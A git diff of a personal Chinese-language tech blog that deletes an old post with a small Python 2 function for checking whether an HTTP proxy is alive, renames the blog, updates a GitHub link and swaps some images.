deleted file mode 100644 index 2defa86..0000000 --- a/_posts/Python/2014-11-26-http-proxy.markdown +++ /dev/null @@ -1,34 +0,0 @@ ---- -category: Python -layout: post -title: Python验证http代理函数 -desc: 简记如何使用Python验证http代理是否存活 -tags: [python, python proxy, python代理, python http代理, http代理验证] ---- -#### 写在前面 -很简单的东西,网上示例一大堆,为什么还要写? -因为我无聊啊〜〜因为这里只是记录我自己的东西,和你们无关啊〜〜因为自己不定时用上,懒得再搜索啊〜〜好吧,编不下去了。。。 -其实,就是因为打算写一个`Python`全自动扫描代理+验证的工具,以及写一个`Chrome`科学翻墙的扩展,高大上了吧? - -#### 实现代码 -[code:python:edoc] -def isProxy(h, p, u = 'http://www.baidu.com/', t = 5): - _p = "http://%s:%s"%(h, p) - _h = urllib2.ProxyHandler({'http': _p}) - _o = urllib2.build_opener(_h, urllib2.HTTPHandler) - try: - _r = _o.open(u, timeout = t) - _l = len(_r.read()) - if _l> 1024: - return True - return False - except Exception,e: - return False -[codend] -我选用了[http://www.baidu.com/](http://www.baidu.com)来作为测试连接目标,原因嘛,国人测试网络不都喜欢直接`ping www.baidu.com`。。 - -#### 函数使用 -[code:python:edoc] -isProxy('127.0.0.1', 8080) -[codend] -只需要传递两个参数就好了,第一个为代理的IP地址,第二个为端口,也可以加入第三个验证测试的URL地址和第四个连接超时时间。 \ No newline at end of file diff --git a/pages/about.markdown b/pages/about.markdown index 061c269..623e3a3 100644 --- a/pages/about.markdown +++ b/pages/about.markdown @@ -4,5 +4,5 @@ title: 关于 permalink: /about/ icon: glyphicon-heart --- -#### Hotes - 简记 -> 2015 Happy new YeaR :) \ No newline at end of file +#### NodeVc - 简记 +> 博客关键字:`90后`,`高戳穷`,`Node.js`,`C语言`,`网络安全`,`彩笔`。 \ No newline at end of file diff --git a/pages/index.markdown b/pages/index.markdown index 3f43e55..c3ae6ce 100644 --- a/pages/index.markdown +++ b/pages/index.markdown @@ -104,7 +104,7 @@ var mainmenu = bmenu.init([ text: 'GitHub', icon: 'glyphicon-paperclip', callback: function(){ - window.open("https://github.com/h01", "_blank"); + window.open("https://github.com/nodevc", "_blank"); } }] },{ diff --git a/static/upload/img/01.jpg b/static/upload/img/01.jpg new file mode 100644 index 0000000..95b07d5 Binary files /dev/null and b/static/upload/img/01.jpg differ diff --git a/static/upload/img/02.jpg b/static/upload/img/02.jpg new file mode 100644 index 0000000..ba27a76 Binary files /dev/null and b/static/upload/img/02.jpg differ diff --git a/static/upload/img/beef-browser.jpg b/static/upload/img/beef-browser.jpg deleted file mode 100644 index 52c032f..0000000 Binary files a/static/upload/img/beef-browser.jpg and /dev/null differ diff --git a/static/upload/img/beef-install.jpg b/static/upload/img/beef-install.jpg deleted file mode 100644 index b204e56..0000000 Binary files a/static/upload/img/beef-install.jpg and /dev/null differ

AltStyle によって変換されたページ (->オリジナル) /